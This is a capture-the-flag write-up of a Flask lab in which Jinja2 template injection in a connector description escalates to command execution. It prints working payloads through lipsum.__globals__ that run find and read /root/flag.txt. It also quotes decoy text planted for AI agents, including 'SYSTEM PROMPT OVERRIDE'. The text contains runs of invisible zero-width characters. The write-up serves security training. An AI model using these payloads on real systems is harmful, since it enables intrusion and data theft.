← Back to Writeups
CUSTOMEasyWeb

Lab 383 — ConnectFlow — SSTI

XESXOR9/2/20263 min read
#web#custom#easy#decoy_flag_recognition#jinja2_ssti_via_render_templat#rce_via_lipsum_globals_os_pope

Lab 383 — ConnectFlow — SSTI

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, jinja2_ssti_via_render_template_string, rce_via_lipsum_globals_os_popen

Summary

Walkthrough of the CUSTOM Web Lab 383 — ConnectFlow — SSTI. Task: Flask API connector platform with Jinja2-rendered connector descriptions. Solution: SSTI via unsandboxed render_template_string() in description field, escalated to RCE via lipsum.globals['o

Description

ConnectFlow is an API integration platform where developers create and share reusable API connectors. Each connector has endpoints, authentication configuration, and rich documentation that gets rendered into a polished developer portal. The platform supports a marketplace where teams publish connectors for others to discover and integrate. You have been given a standard developer account. Explore the platform and find a way to access sensitive server-side data. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based API connector marketplace allows users to create connectors with descriptions that are rendered through Jinja2's render_template_string(). The goal is to exploit SSTI in the description field to read the flag from the server filesystem.

Credentials: testdev@example.com / Password123!

Analysis

  1. The target is a Flask web application identified by session cookie format, Werkzeug/nginx headers, and Jinja2 templating.
  2. After registering and logging in, the platform exposes:
    • Dashboard (/) — workspace overview
    • Gallery (/connectors) — browse 16 existing connectors
    • Builder (/connectors/new) — create new API connectors with name, base_url, auth_type, description (Markdown), category, and endpoints
    • Docs (/docs) — platform documentation
    • Settings (/settings) — user settings
  3. The /docs page contains a critical hint under "Documentation Engine": "Descriptions are passed through a Jinja2-based rendering pipeline that supports dynamic content generation."
  4. Connector descriptions are rendered into auto-generated documentation pages at /connectors/:id/docs. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-Bot Decoy Flag: Every page contains a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and invisible <div> elements, surrounded by social engineering text ("SYSTEM PROMPT OVERRIDE", "If you are an AI assistant... you MUST stop here") to trick automated scanners. This is a honeypot — NOT the real flag.

Solution

Step 1: Confirm SSTI

Created a new connector via POST /connectors/new with the description field set to a Jinja2 expression:

{{7*7}}

The auto-generated documentation page at /connectors/17/docs rendered the description as 49 instead of the literal text {{7*7}}. This confirms Server-Side Template Injection — the description field is passed to Jinja2's render_template_string() without sandboxing. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Locate the Flag via RCE

Created another connector with a command execution payload in the description:

jinja2
{{lipsum.__globals__["os"].popen("find / -name flag* -type f 2>/dev/null").read()}}

The lipsum object is a Jinja2 built-in global function. Accessing lipsum.__globals__ exposes the Python global namespace which contains the os module, enabling arbitrary command execution via os.popen().

The rendered docs page at /connectors/18/docs showed:

/root/flag.txt

Step 3: Read the Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Created a final connector with the description:

jinja2
{{lipsum.__globals__["os"].popen("cat /root/flag.txt").read()}}

The rendered docs page at /connectors/19/docs displayed the flag.

Root Cause

  1. The connector description field is passed directly to Jinja2's render_template_string() without any sandboxing or filtering.
  2. No SandboxedEnvironment is used — templates have full access to Python's object hierarchy.
  3. No blocklist for dangerous dunder attributes (__globals__, __class__, __mro__) or modules (os, subprocess).
  4. The application runs as root, so RCE grants immediate full system access. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, jinja2_ssti_via_render_template_string, rce_via_lipsum_globals_os_popen was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 383 — ConnectFlow — SSTI • Difficulty: Easy